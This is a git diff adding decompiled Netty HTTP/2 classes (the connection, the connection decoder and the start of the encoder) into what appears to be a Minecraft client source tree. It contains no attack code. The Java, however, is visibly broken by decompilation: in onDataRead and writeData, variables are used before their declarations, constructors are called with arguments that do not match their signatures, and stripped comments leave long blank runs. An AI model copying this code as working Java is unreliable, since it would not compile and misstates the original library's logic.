+            DefaultHttp2Connection.logger.error("Caught Throwable while processing pending ActiveStreams$Event.", cause);
+          }
+        }
+      }
+    }
+  }
+  
+  final class DefaultPropertyKey
+    implements Http2Connection.PropertyKey
+  {
+    final int index;
+    
+    DefaultPropertyKey(int index)
+    {
+      this.index = index;
+    }
+    
+    DefaultPropertyKey verifyConnection(Http2Connection connection) {
+      if (connection != DefaultHttp2Connection.this) {
+        throw new IllegalArgumentException("Using a key that was not created by this connection");
+      }
+      return this;
+    }
+  }
+  
+
+
+  private final class PropertyKeyRegistry
+  {
+    final List<DefaultHttp2Connection.DefaultPropertyKey> keys = new ArrayList(4);
+    
+    private PropertyKeyRegistry() {}
+    
+    DefaultHttp2Connection.DefaultPropertyKey newKey()
+    {
+      DefaultHttp2Connection.DefaultPropertyKey key = new DefaultHttp2Connection.DefaultPropertyKey(DefaultHttp2Connection.this, keys.size());
+      keys.add(key);
+      return key;
+    }
+    
+    int size() {
+      return keys.size();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2ConnectionDecoder.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2ConnectionDecoder.java
new file mode 100644
index 0000000..5fbf532
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2ConnectionDecoder.java
@@ -0,0 +1,697 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttp2ConnectionDecoder
+  implements Http2ConnectionDecoder
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(DefaultHttp2ConnectionDecoder.class);
+  private Http2FrameListener internalFrameListener = new PrefaceFrameListener(null);
+  
+  private final Http2Connection connection;
+  private Http2LifecycleManager lifecycleManager;
+  private final Http2ConnectionEncoder encoder;
+  private final Http2FrameReader frameReader;
+  private Http2FrameListener listener;
+  private final Http2PromisedRequestVerifier requestVerifier;
+  
+  public DefaultHttp2ConnectionDecoder(Http2Connection connection, Http2ConnectionEncoder encoder, Http2FrameReader frameReader)
+  {
+    this(connection, encoder, frameReader, Http2PromisedRequestVerifier.ALWAYS_VERIFY);
+  }
+  
+
+
+  public DefaultHttp2ConnectionDecoder(Http2Connection connection, Http2ConnectionEncoder encoder, Http2FrameReader frameReader, Http2PromisedRequestVerifier requestVerifier)
+  {
+    this.connection = ((Http2Connection)ObjectUtil.checkNotNull(connection, "connection"));
+    this.frameReader = ((Http2FrameReader)ObjectUtil.checkNotNull(frameReader, "frameReader"));
+    this.encoder = ((Http2ConnectionEncoder)ObjectUtil.checkNotNull(encoder, "encoder"));
+    this.requestVerifier = ((Http2PromisedRequestVerifier)ObjectUtil.checkNotNull(requestVerifier, "requestVerifier"));
+    if (connection.local().flowController() == null) {
+      connection.local().flowController(new DefaultHttp2LocalFlowController(connection));
+    }
+    ((Http2LocalFlowController)connection.local().flowController()).frameWriter(encoder.frameWriter());
+  }
+  
+  public void lifecycleManager(Http2LifecycleManager lifecycleManager)
+  {
+    this.lifecycleManager = ((Http2LifecycleManager)ObjectUtil.checkNotNull(lifecycleManager, "lifecycleManager"));
+  }
+  
+  public Http2Connection connection()
+  {
+    return connection;
+  }
+  
+  public final Http2LocalFlowController flowController()
+  {
+    return (Http2LocalFlowController)connection.local().flowController();
+  }
+  
+  public void frameListener(Http2FrameListener listener)
+  {
+    this.listener = ((Http2FrameListener)ObjectUtil.checkNotNull(listener, "listener"));
+  }
+  
+  public Http2FrameListener frameListener()
+  {
+    return listener;
+  }
+  
+  Http2FrameListener internalFrameListener()
+  {
+    return internalFrameListener;
+  }
+  
+  public boolean prefaceReceived()
+  {
+    return FrameReadListener.class == internalFrameListener.getClass();
+  }
+  
+  public void decodeFrame(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Http2Exception
+  {
+    frameReader.readFrame(ctx, in, internalFrameListener);
+  }
+  
+  public Http2Settings localSettings()
+  {
+    Http2Settings settings = new Http2Settings();
+    Http2FrameReader.Configuration config = frameReader.configuration();
+    Http2HeaderTable headerTable = config.headerTable();
+    Http2FrameSizePolicy frameSizePolicy = config.frameSizePolicy();
+    settings.initialWindowSize(flowController().initialWindowSize());
+    settings.maxConcurrentStreams(connection.remote().maxActiveStreams());
+    settings.headerTableSize(headerTable.maxHeaderTableSize());
+    settings.maxFrameSize(frameSizePolicy.maxFrameSize());
+    settings.maxHeaderListSize(headerTable.maxHeaderListSize());
+    if (!connection.isServer())
+    {
+      settings.pushEnabled(connection.local().allowPushTo());
+    }
+    return settings;
+  }
+  
+  public void close()
+  {
+    frameReader.close();
+  }
+  
+  private int unconsumedBytes(Http2Stream stream) {
+    return flowController().unconsumedBytes(stream);
+  }
+  
+  void onGoAwayRead0(ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData) throws Http2Exception
+  {
+    if ((connection.goAwayReceived()) && (connection.local().lastStreamKnownByPeer() < lastStreamId)) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "lastStreamId MUST NOT increase. Current value: %d new value: %d", new Object[] { Integer.valueOf(connection.local().lastStreamKnownByPeer()), Integer.valueOf(lastStreamId) });
+    }
+    
+    listener.onGoAwayRead(ctx, lastStreamId, errorCode, debugData);
+    connection.goAwayReceived(lastStreamId, errorCode, debugData);
+  }
+  
+  void onUnknownFrame0(ChannelHandlerContext ctx, byte frameType, int streamId, Http2Flags flags, ByteBuf payload) throws Http2Exception
+  {
+    listener.onUnknownFrame(ctx, frameType, streamId, flags, payload);
+  }
+  
+  private final class FrameReadListener
+    implements Http2FrameListener
+  {
+    private FrameReadListener() {}
+    
+    public int onDataRead(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endOfStream) throws Http2Exception
+    {
+      Http2Stream stream = connection.stream(streamId);
+      Http2LocalFlowController flowController = flowController();
+      int bytesToReturn = data.readableBytes() + padding;
+      
+      try
+      {
+        shouldIgnore = shouldIgnoreHeadersOrDataFrame(ctx, streamId, stream, "DATA");
+      }
+      catch (Http2Exception e) {
+        boolean shouldIgnore;
+        flowController.receiveFlowControlledFrame(stream, data, padding, endOfStream);
+        flowController.consumeBytes(stream, bytesToReturn);
+        throw e;
+      } catch (Throwable t) {
+        throw Http2Exception.connectionError(Http2Error.INTERNAL_ERROR, t, "Unhandled error on data stream id %d", new Object[] { Integer.valueOf(streamId) });
+      }
+      boolean shouldIgnore;
+      if (shouldIgnore)
+      {
+
+        flowController.receiveFlowControlledFrame(stream, data, padding, endOfStream);
+        flowController.consumeBytes(stream, bytesToReturn);
+        
+
+        verifyStreamMayHaveExisted(streamId);
+        
+
+        return bytesToReturn;
+      }
+      
+      Http2Exception error = null;
+      switch (DefaultHttp2ConnectionDecoder.1.$SwitchMap$io$netty$handler$codec$http2$Http2Stream$State[stream.state().ordinal()]) {
+      case 1: 
+      case 2: 
+        break;
+      case 3: 
+      case 4: 
+        error = Http2Exception.streamError(stream.id(), Http2Error.STREAM_CLOSED, "Stream %d in unexpected state: %s", new Object[] { Integer.valueOf(stream.id()), stream.state() });
+        
+        break;
+      default: 
+        error = Http2Exception.streamError(stream.id(), Http2Error.PROTOCOL_ERROR, "Stream %d in unexpected state: %s", new Object[] { Integer.valueOf(stream.id()), stream.state() });
+      }
+      
+      
+
+      int unconsumedBytes = DefaultHttp2ConnectionDecoder.this.unconsumedBytes(stream);
+      try {
+        flowController.receiveFlowControlledFrame(stream, data, padding, endOfStream);
+        
+        unconsumedBytes = DefaultHttp2ConnectionDecoder.this.unconsumedBytes(stream);
+        
+
+        if (error != null) {
+          throw error;
+        }
+        
+
+
+        bytesToReturn = listener.onDataRead(ctx, streamId, data, padding, endOfStream);
+        return bytesToReturn;
+
+      }
+      catch (Http2Exception e)
+      {
+        int delta = unconsumedBytes - DefaultHttp2ConnectionDecoder.this.unconsumedBytes(stream);
+        bytesToReturn -= delta;
+        throw e;
+
+      }
+      catch (RuntimeException e)
+      {
+        int delta = unconsumedBytes - DefaultHttp2ConnectionDecoder.this.unconsumedBytes(stream);
+        bytesToReturn -= delta;
+        throw e;
+      }
+      finally {
+        flowController.consumeBytes(stream, bytesToReturn);
+        
+        if (endOfStream) {
+          lifecycleManager.closeStreamRemote(stream, ctx.newSucceededFuture());
+        }
+      }
+    }
+    
+    public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endOfStream)
+      throws Http2Exception
+    {
+      onHeadersRead(ctx, streamId, headers, 0, (short)16, false, padding, endOfStream);
+    }
+    
+    public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endOfStream)
+      throws Http2Exception
+    {
+      Http2Stream stream = connection.stream(streamId);
+      boolean allowHalfClosedRemote = false;
+      if ((stream == null) && (!connection.streamMayHaveExisted(streamId))) {
+        stream = connection.remote().createStream(streamId, endOfStream);
+        
+        allowHalfClosedRemote = stream.state() == Http2Stream.State.HALF_CLOSED_REMOTE;
+      }
+      
+      if (shouldIgnoreHeadersOrDataFrame(ctx, streamId, stream, "HEADERS")) {
+        return;
+      }
+      
+      switch (DefaultHttp2ConnectionDecoder.1.$SwitchMap$io$netty$handler$codec$http2$Http2Stream$State[stream.state().ordinal()]) {
+      case 5: 
+        stream.open(endOfStream);
+        break;
+      case 1: 
+      case 2: 
+        break;
+      
+      case 3: 
+        if (!allowHalfClosedRemote) {
+          throw Http2Exception.streamError(stream.id(), Http2Error.STREAM_CLOSED, "Stream %d in unexpected state: %s", new Object[] { Integer.valueOf(stream.id()), stream.state() });
+        }
+        
+        break;
+      case 4: 
+        throw Http2Exception.streamError(stream.id(), Http2Error.STREAM_CLOSED, "Stream %d in unexpected state: %s", new Object[] { Integer.valueOf(stream.id()), stream.state() });
+      
+
+      default: 
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Stream %d in unexpected state: %s", new Object[] { Integer.valueOf(stream.id()), stream.state() });
+      }
+      
+      
+
+      try
+      {
+        stream.setPriority(streamDependency, weight, exclusive);
+      }
+      catch (Http2Exception.ClosedStreamCreationException localClosedStreamCreationException) {}
+      
+
+
+      listener.onHeadersRead(ctx, streamId, headers, streamDependency, weight, exclusive, padding, endOfStream);
+      
+
+      if (endOfStream) {
+        lifecycleManager.closeStreamRemote(stream, ctx.newSucceededFuture());
+      }
+    }
+    
+    public void onPriorityRead(ChannelHandlerContext ctx, int streamId, int streamDependency, short weight, boolean exclusive)
+      throws Http2Exception
+    {
+      Http2Stream stream = connection.stream(streamId);
+      try
+      {
+        if (stream == null) {
+          if (connection.streamMayHaveExisted(streamId)) {
+            DefaultHttp2ConnectionDecoder.logger.info("{} ignoring PRIORITY frame for stream {}. Stream doesn't exist but may  have existed", ctx.channel(), Integer.valueOf(streamId));
+            
+            return;
+          }
+          
+
+
+          stream = connection.remote().createIdleStream(streamId);
+        } else if (streamCreatedAfterGoAwaySent(streamId)) {
+          DefaultHttp2ConnectionDecoder.logger.info("{} ignoring PRIORITY frame for stream {}. Stream created after GOAWAY sent. Last known stream by peer {}", new Object[] { ctx.channel(), Integer.valueOf(streamId), Integer.valueOf(connection.remote().lastStreamKnownByPeer()) });
+          
+
+          return;
+        }
+        
+
+
+        stream.setPriority(streamDependency, weight, exclusive);
+      }
+      catch (Http2Exception.ClosedStreamCreationException localClosedStreamCreationException) {}
+      
+
+
+      listener.onPriorityRead(ctx, streamId, streamDependency, weight, exclusive);
+    }
+    
+    public void onRstStreamRead(ChannelHandlerContext ctx, int streamId, long errorCode) throws Http2Exception
+    {
+      Http2Stream stream = connection.stream(streamId);
+      if (stream == null) {
+        verifyStreamMayHaveExisted(streamId);
+        return;
+      }
+      
+      switch (DefaultHttp2ConnectionDecoder.1.$SwitchMap$io$netty$handler$codec$http2$Http2Stream$State[stream.state().ordinal()]) {
+      case 6: 
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "RST_STREAM received for IDLE stream %d", new Object[] { Integer.valueOf(streamId) });
+      case 4: 
+        return;
+      }
+      
+      
+
+      listener.onRstStreamRead(ctx, streamId, errorCode);
+      
+      lifecycleManager.closeStream(stream, ctx.newSucceededFuture());
+    }
+    
+    public void onSettingsAckRead(ChannelHandlerContext ctx)
+      throws Http2Exception
+    {
+      Http2Settings settings = encoder.pollSentSettings();
+      
+      if (settings != null) {
+        applyLocalSettings(settings);
+      }
+      
+      listener.onSettingsAckRead(ctx);
+    }
+    
+
+    private void applyLocalSettings(Http2Settings settings)
+      throws Http2Exception
+    {
+      Boolean pushEnabled = settings.pushEnabled();
+      Http2FrameReader.Configuration config = frameReader.configuration();
+      Http2HeaderTable headerTable = config.headerTable();
+      Http2FrameSizePolicy frameSizePolicy = config.frameSizePolicy();
+      if (pushEnabled != null) {
+        if (connection.isServer()) {
+          throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Server sending SETTINGS frame with ENABLE_PUSH specified", new Object[0]);
+        }
+        connection.local().allowPushTo(pushEnabled.booleanValue());
+      }
+      
+      Long maxConcurrentStreams = settings.maxConcurrentStreams();
+      if (maxConcurrentStreams != null) {
+        int value = (int)Math.min(maxConcurrentStreams.longValue(), 2147483647L);
+        connection.remote().maxStreams(value, calculateMaxStreams(value));
+      }
+      
+      Long headerTableSize = settings.headerTableSize();
+      if (headerTableSize != null) {
+        headerTable.maxHeaderTableSize(headerTableSize.longValue());
+      }
+      
+      Long maxHeaderListSize = settings.maxHeaderListSize();
+      if (maxHeaderListSize != null) {
+        headerTable.maxHeaderListSize(maxHeaderListSize.longValue());
+      }
+      
+      Integer maxFrameSize = settings.maxFrameSize();
+      if (maxFrameSize != null) {
+        frameSizePolicy.maxFrameSize(maxFrameSize.intValue());
+      }
+      
+      Integer initialWindowSize = settings.initialWindowSize();
+      if (initialWindowSize != null) {
+        flowController().initialWindowSize(initialWindowSize.intValue());
+      }
+    }
+    
+
+
+
+
+
+    private int calculateMaxStreams(int maxConcurrentStreams)
+    {
+      int maxStreams = maxConcurrentStreams + 100;
+      return maxStreams < 0 ? Integer.MAX_VALUE : maxStreams;
+    }
+    
+    public void onSettingsRead(ChannelHandlerContext ctx, Http2Settings settings) throws Http2Exception
+    {
+      encoder.remoteSettings(settings);
+      
+
+      encoder.writeSettingsAck(ctx, ctx.newPromise());
+      
+      listener.onSettingsRead(ctx, settings);
+    }
+    
+
+    public void onPingRead(ChannelHandlerContext ctx, ByteBuf data)
+      throws Http2Exception
+    {
+      encoder.writePing(ctx, true, data.retainedSlice(), ctx.newPromise());
+      
+      listener.onPingRead(ctx, data);
+    }
+    
+    public void onPingAckRead(ChannelHandlerContext ctx, ByteBuf data) throws Http2Exception
+    {
+      listener.onPingAckRead(ctx, data);
+    }
+    
+
+    public void onPushPromiseRead(ChannelHandlerContext ctx, int streamId, int promisedStreamId, Http2Headers headers, int padding)
+      throws Http2Exception
+    {
+      if (connection().isServer()) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "A client cannot push.", new Object[0]);
+      }
+      
+      Http2Stream parentStream = connection.stream(streamId);
+      
+      if (shouldIgnoreHeadersOrDataFrame(ctx, streamId, parentStream, "PUSH_PROMISE")) {
+        return;
+      }
+      
+      if (parentStream == null) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Stream %d does not exist", new Object[] { Integer.valueOf(streamId) });
+      }
+      
+      switch (DefaultHttp2ConnectionDecoder.1.$SwitchMap$io$netty$handler$codec$http2$Http2Stream$State[parentStream.state().ordinal()])
+      {
+      case 1: 
+      case 2: 
+        break;
+      
+      default: 
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Stream %d in unexpected state for receiving push promise: %s", new Object[] { Integer.valueOf(parentStream.id()), parentStream.state() });
+      }
+      
+      
+
+      if (!requestVerifier.isAuthoritative(ctx, headers)) {
+        throw Http2Exception.streamError(promisedStreamId, Http2Error.PROTOCOL_ERROR, "Promised request on stream %d for promised stream %d is not authoritative", new Object[] { Integer.valueOf(streamId), Integer.valueOf(promisedStreamId) });
+      }
+      
+
+      if (!requestVerifier.isCacheable(headers)) {
+        throw Http2Exception.streamError(promisedStreamId, Http2Error.PROTOCOL_ERROR, "Promised request on stream %d for promised stream %d is not known to be cacheable", new Object[] { Integer.valueOf(streamId), Integer.valueOf(promisedStreamId) });
+      }
+      
+
+      if (!requestVerifier.isSafe(headers)) {
+        throw Http2Exception.streamError(promisedStreamId, Http2Error.PROTOCOL_ERROR, "Promised request on stream %d for promised stream %d is not known to be safe", new Object[] { Integer.valueOf(streamId), Integer.valueOf(promisedStreamId) });
+      }
+      
+
+
+
+      connection.remote().reservePushStream(promisedStreamId, parentStream);
+      
+      listener.onPushPromiseRead(ctx, streamId, promisedStreamId, headers, padding);
+    }
+    
+    public void onGoAwayRead(ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData)
+      throws Http2Exception
+    {
+      onGoAwayRead0(ctx, lastStreamId, errorCode, debugData);
+    }
+    
+    public void onWindowUpdateRead(ChannelHandlerContext ctx, int streamId, int windowSizeIncrement)
+      throws Http2Exception
+    {
+      Http2Stream stream = connection.stream(streamId);
+      if ((stream == null) || (stream.state() == Http2Stream.State.CLOSED) || (streamCreatedAfterGoAwaySent(streamId)))
+      {
+        verifyStreamMayHaveExisted(streamId);
+        return;
+      }
+      
+
+      encoder.flowController().incrementWindowSize(stream, windowSizeIncrement);
+      
+      listener.onWindowUpdateRead(ctx, streamId, windowSizeIncrement);
+    }
+    
+    public void onUnknownFrame(ChannelHandlerContext ctx, byte frameType, int streamId, Http2Flags flags, ByteBuf payload)
+      throws Http2Exception
+    {
+      onUnknownFrame0(ctx, frameType, streamId, flags, payload);
+    }
+    
+
+
+
+    private boolean shouldIgnoreHeadersOrDataFrame(ChannelHandlerContext ctx, int streamId, Http2Stream stream, String frameName)
+      throws Http2Exception
+    {
+      if (stream == null) {
+        if (streamCreatedAfterGoAwaySent(streamId)) {
+          DefaultHttp2ConnectionDecoder.logger.info("{} ignoring {} frame for stream {}. Stream sent after GOAWAY sent", new Object[] { ctx.channel(), frameName, Integer.valueOf(streamId) });
+          
+          return true;
+        }
+        
+
+
+        throw Http2Exception.streamError(streamId, Http2Error.STREAM_CLOSED, "Received %s frame for an unknown stream %d", new Object[] { frameName, Integer.valueOf(streamId) });
+      }
+      if ((stream.isResetSent()) || (streamCreatedAfterGoAwaySent(streamId))) {
+        if (DefaultHttp2ConnectionDecoder.logger.isInfoEnabled()) {
+          DefaultHttp2ConnectionDecoder.logger.info("{} ignoring {} frame for stream {} {}", new Object[] { ctx.channel(), frameName, "Stream created after GOAWAY sent. Last known stream by peer " + connection.remote().lastStreamKnownByPeer() });
+        }
+        
+
+
+        return true;
+      }
+      return false;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    private boolean streamCreatedAfterGoAwaySent(int streamId)
+    {
+      Http2Connection.Endpoint<?> remote = connection.remote();
+      return (connection.goAwaySent()) && (remote.isValidStreamId(streamId)) && (streamId > remote.lastStreamKnownByPeer());
+    }
+    
+    private void verifyStreamMayHaveExisted(int streamId) throws Http2Exception
+    {
+      if (!connection.streamMayHaveExisted(streamId)) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Stream %d does not exist", new Object[] { Integer.valueOf(streamId) });
+      }
+    }
+  }
+  
+  private final class PrefaceFrameListener
+    implements Http2FrameListener
+  {
+    private PrefaceFrameListener() {}
+    
+    private void verifyPrefaceReceived()
+      throws Http2Exception
+    {
+      if (!prefaceReceived()) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Received non-SETTINGS as first frame.", new Object[0]);
+      }
+    }
+    
+    public int onDataRead(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endOfStream)
+      throws Http2Exception
+    {
+      verifyPrefaceReceived();
+      return internalFrameListener.onDataRead(ctx, streamId, data, padding, endOfStream);
+    }
+    
+    public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endOfStream)
+      throws Http2Exception
+    {
+      verifyPrefaceReceived();
+      internalFrameListener.onHeadersRead(ctx, streamId, headers, padding, endOfStream);
+    }
+    
+    public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endOfStream)
+      throws Http2Exception
+    {
+      verifyPrefaceReceived();
+      internalFrameListener.onHeadersRead(ctx, streamId, headers, streamDependency, weight, exclusive, padding, endOfStream);
+    }
+    
+
+    public void onPriorityRead(ChannelHandlerContext ctx, int streamId, int streamDependency, short weight, boolean exclusive)
+      throws Http2Exception
+    {
+      verifyPrefaceReceived();
+      internalFrameListener.onPriorityRead(ctx, streamId, streamDependency, weight, exclusive);
+    }
+    
+    public void onRstStreamRead(ChannelHandlerContext ctx, int streamId, long errorCode) throws Http2Exception
+    {
+      verifyPrefaceReceived();
+      internalFrameListener.onRstStreamRead(ctx, streamId, errorCode);
+    }
+    
+    public void onSettingsAckRead(ChannelHandlerContext ctx) throws Http2Exception
+    {
+      verifyPrefaceReceived();
+      internalFrameListener.onSettingsAckRead(ctx);
+    }
+    
+
+    public void onSettingsRead(ChannelHandlerContext ctx, Http2Settings settings)
+      throws Http2Exception
+    {
+      if (!prefaceReceived()) {
+        internalFrameListener = new DefaultHttp2ConnectionDecoder.FrameReadListener(DefaultHttp2ConnectionDecoder.this, null);
+      }
+      internalFrameListener.onSettingsRead(ctx, settings);
+    }
+    
+    public void onPingRead(ChannelHandlerContext ctx, ByteBuf data) throws Http2Exception
+    {
+      verifyPrefaceReceived();
+      internalFrameListener.onPingRead(ctx, data);
+    }
+    
+    public void onPingAckRead(ChannelHandlerContext ctx, ByteBuf data) throws Http2Exception
+    {
+      verifyPrefaceReceived();
+      internalFrameListener.onPingAckRead(ctx, data);
+    }
+    
+    public void onPushPromiseRead(ChannelHandlerContext ctx, int streamId, int promisedStreamId, Http2Headers headers, int padding)
+      throws Http2Exception
+    {
+      verifyPrefaceReceived();
+      internalFrameListener.onPushPromiseRead(ctx, streamId, promisedStreamId, headers, padding);
+    }
+    
+    public void onGoAwayRead(ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData)
+      throws Http2Exception
+    {
+      onGoAwayRead0(ctx, lastStreamId, errorCode, debugData);
+    }
+    
+    public void onWindowUpdateRead(ChannelHandlerContext ctx, int streamId, int windowSizeIncrement)
+      throws Http2Exception
+    {
+      verifyPrefaceReceived();
+      internalFrameListener.onWindowUpdateRead(ctx, streamId, windowSizeIncrement);
+    }
+    
+    public void onUnknownFrame(ChannelHandlerContext ctx, byte frameType, int streamId, Http2Flags flags, ByteBuf payload)
+      throws Http2Exception
+    {
+      onUnknownFrame0(ctx, frameType, streamId, flags, payload);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2ConnectionEncoder.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2ConnectionEncoder.java
new file mode 100644
index 0000000..9ca1da5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2ConnectionEncoder.java
@@ -0,0 +1,495 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.CoalescingBufferQueue;
+import io.netty.util.internal.ObjectUtil;
+import java.util.ArrayDeque;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttp2ConnectionEncoder
+  implements Http2ConnectionEncoder
+{
+  private final Http2FrameWriter frameWriter;
+  private final Http2Connection connection;
+  private Http2LifecycleManager lifecycleManager;
+  private final ArrayDeque<Http2Settings> outstandingLocalSettingsQueue = new ArrayDeque(4);
+  
+  public DefaultHttp2ConnectionEncoder(Http2Connection connection, Http2FrameWriter frameWriter) {
+    this.connection = ((Http2Connection)ObjectUtil.checkNotNull(connection, "connection"));
+    this.frameWriter = ((Http2FrameWriter)ObjectUtil.checkNotNull(frameWriter, "frameWriter"));
+    if (connection.remote().flowController() == null) {
+      connection.remote().flowController(new DefaultHttp2RemoteFlowController(connection));
+    }
+  }
+  
+  public void lifecycleManager(Http2LifecycleManager lifecycleManager)
+  {
+    this.lifecycleManager = ((Http2LifecycleManager)ObjectUtil.checkNotNull(lifecycleManager, "lifecycleManager"));
+  }
+  
+  public Http2FrameWriter frameWriter()
+  {
+    return frameWriter;
+  }
+  
+  public Http2Connection connection()
+  {
+    return connection;
+  }
+  
+  public final Http2RemoteFlowController flowController()
+  {
+    return (Http2RemoteFlowController)connection().remote().flowController();
+  }
+  
+  public void remoteSettings(Http2Settings settings) throws Http2Exception
+  {
+    Boolean pushEnabled = settings.pushEnabled();
+    Http2FrameWriter.Configuration config = configuration();
+    Http2HeaderTable outboundHeaderTable = config.headerTable();
+    Http2FrameSizePolicy outboundFrameSizePolicy = config.frameSizePolicy();
+    if (pushEnabled != null) {
+      if ((!connection.isServer()) && (pushEnabled.booleanValue())) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Client received a value of ENABLE_PUSH specified to other than 0", new Object[0]);
+      }
+      
+      connection.remote().allowPushTo(pushEnabled.booleanValue());
+    }
+    
+    Long maxConcurrentStreams = settings.maxConcurrentStreams();
+    if (maxConcurrentStreams != null)
+    {
+      connection.local().maxStreams((int)Math.min(maxConcurrentStreams.longValue(), 2147483647L), Integer.MAX_VALUE);
+    }
+    
+    Long headerTableSize = settings.headerTableSize();
+    if (headerTableSize != null) {
+      outboundHeaderTable.maxHeaderTableSize((int)Math.min(headerTableSize.longValue(), 2147483647L));
+    }
+    
+    Long maxHeaderListSize = settings.maxHeaderListSize();
+    if (maxHeaderListSize != null) {
+      outboundHeaderTable.maxHeaderListSize(maxHeaderListSize.longValue());
+    }
+    
+    Integer maxFrameSize = settings.maxFrameSize();
+    if (maxFrameSize != null) {
+      outboundFrameSizePolicy.maxFrameSize(maxFrameSize.intValue());
+    }
+    
+    Integer initialWindowSize = settings.initialWindowSize();
+    if (initialWindowSize != null) {
+      flowController().initialWindowSize(initialWindowSize.intValue());
+    }
+  }
+  
+
+  public ChannelFuture writeData(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endOfStream, ChannelPromise promise)
+  {
+    try
+    {
+      Http2Stream stream = requireStream(streamId);
+      
+
+      switch (2.$SwitchMap$io$netty$handler$codec$http2$Http2Stream$State[stream.state().ordinal()])
+      {
+      case 1: 
+      case 2: 
+        break;
+      default: 
+        throw new IllegalStateException(String.format("Stream %d in unexpected state: %s", new Object[] { Integer.valueOf(stream.id()), stream.state() }));
+      }
+    }
+    catch (Throwable e) {
+      data.release();
+      return promise.setFailure(e);
+    }
+    
+    Http2Stream stream;
+    flowController().addFlowControlled(stream, new FlowControlledData(stream, data, padding, endOfStream, promise));
+    
+    return promise;
+  }
+  
+
+  public ChannelFuture writeHeaders(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream, ChannelPromise promise)
+  {
+    return writeHeaders(ctx, streamId, headers, 0, (short)16, false, padding, endStream, promise);
+  }
+  
+
+  public ChannelFuture writeHeaders(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endOfStream, ChannelPromise promise)
+  {
+    try
+    {
+      Http2Stream stream = connection.stream(streamId);
+      if (stream == null) {
+        stream = connection.local().createStream(streamId, endOfStream);
+      } else {
+        switch (2.$SwitchMap$io$netty$handler$codec$http2$Http2Stream$State[stream.state().ordinal()]) {
+        case 3: 
+          stream.open(endOfStream);
+          break;
+        case 1: 
+        case 2: 
+          break;
+        
+        default: 
+          throw new IllegalStateException(String.format("Stream %d in unexpected state: %s", new Object[] { Integer.valueOf(stream.id()), stream.state() }));
+        }
+        
+      }
+      
+
+
+      Http2RemoteFlowController flowController = flowController();
+      if ((!endOfStream) || (!flowController.hasFlowControlled(stream))) {
+        if (endOfStream) {
+          final Http2Stream finalStream = stream;
+          ChannelFutureListener closeStreamLocalListener = new ChannelFutureListener()
+          {
+            public void operationComplete(ChannelFuture future) throws Exception {
+              lifecycleManager.closeStreamLocal(finalStream, future);
+            }
+          };
+          promise = promise.unvoid().addListener(closeStreamLocalListener);
+        }
+        return frameWriter.writeHeaders(ctx, streamId, headers, streamDependency, weight, exclusive, padding, endOfStream, promise);
+      }
+      
+
+      flowController.addFlowControlled(stream, new FlowControlledHeaders(stream, headers, streamDependency, weight, exclusive, padding, endOfStream, promise));
+      
+
+      return promise;
+    }
+    catch (Http2NoMoreStreamIdsException e) {
+      lifecycleManager.onError(ctx, e);
+      return promise.setFailure(e);
+    } catch (Throwable e) {
+      return promise.setFailure(e);
+    }
+  }
+  
+
+  public ChannelFuture writePriority(ChannelHandlerContext ctx, int streamId, int streamDependency, short weight, boolean exclusive, ChannelPromise promise)
+  {
+    try
+    {
+      Http2Stream stream = connection.stream(streamId);
+      if (stream == null) {
+        stream = connection.local().createIdleStream(streamId);
+      }
+      
+
+
+      stream.setPriority(streamDependency, weight, exclusive);
+
+    }
+    catch (Http2Exception.ClosedStreamCreationException localClosedStreamCreationException) {}catch (Throwable t)
+    {
+      return promise.setFailure(t);
+    }
+    
